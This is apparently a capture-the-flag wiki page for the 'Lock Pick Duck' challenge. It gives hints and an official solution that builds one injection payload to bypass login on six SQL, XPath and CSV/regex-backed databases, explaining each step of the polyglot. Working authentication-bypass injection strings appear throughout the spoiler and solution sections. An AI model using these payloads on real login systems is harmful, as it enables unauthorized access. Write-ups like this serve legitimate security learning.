Skip to content

Lock Pick Duck

ozetta edited this page Apr 26, 2018 · 2 revisions

Summary

One injection payload breaks in six databases

Info

Source code

  • Partially solved: 5 / 17
  • Completely solved: 0 / 17
  • Automated tools usually use different patterns (a.k.a. dorks) to detect different systems
    • e.g. COERCIBILITY() is unique to MySQL
  • Is there a wildcard pattern that fits to many systems?
    • SQL Injection and XPath Injection are quite similar
  • Spoiler (?)
    • ?username=|&password breaks csvdb1
    • ?username='or+1--&password breaks sqldb1
    • ?username&password='or'z breaks xmldb1
    • ?username=()|&password breaks csvdb2 (and csvdb1 as well)
    • ?username='union+select''--&password breaks sqldb2
    • ?username&password=A breaks xmldb2

Official Solution

Show partial solution

?username=()|'or+1--&password

  • Just combine csvdb2 (and csvdb1 as well) and sqldb1
Show full solution

?username=.*(A)|'--z]|user|z[']%0aunion+select"A"--&password=A

  • You need to have a payload that turns to legitimate syntax for all six queries, just like code golf
  • The databases in part 2 require additional password checking, which seems to be impossible with XPath
    • There is a bug in xmldb2 where one can simply login with the password A (or Array) because of the print_r rather than accessing the password through the returned SimpleXMLElement objects
    • So that's why ?username&password=A can break xmldb2
  • Now the objective is to force the query to select the password as A
  • ?username=.*(A)|&password=A works for csvdb with high probability
    • Use (A) to select the password as A in regular expression, and then add some wildcards .* as well as the or operator |
    • You are just too lucky if those random username and password do not contain any A
  • ?username='union+select'A'--&password=A works for sqldb
    • The payload is just a standard union-based SQL injection
  • Combine the two gives ?username=.*(A)|'union+select'A'--&password=A, which works for csvdb and sqldb
  • Now you need to fix the XPath query because select is not a valid operator in XPath
  • The comment in SQLite ends with line break, so --ANYTHING%0a will not matter
    • ?username=.*(A)|'--ANYTHING%0aunion+select'A'--&password=A
  • 'string_but_not_number'--169 in XPath means NaN+169, so //users/user[username='.*(A)|'--something] is legitimate but queries nothing because nothing is equal to NaN
  • Use union operator | to select another path user to query something for xmldb1
  • To get rid of the %0aunion+select'A'-- for XPath, union one more path so that the query will look like //users/user[username='NaN']|user|something['whatever' and password='A']
    • %0aunion+select'A'-- contains single quote, which breaks the XPath query, so uses double quote instead
    • ?username=.*(A)|'--z]|user|z['%0aunion+select"A"--&password=A
  • Now the query for csvdb is broken because of the unbalanced square bracket, simply add ] back
    • ?username=.*(A)|'--z]|user|z[']%0aunion+select"A"--&password=A
  • It works finally!

Write-ups

Click the spoilers above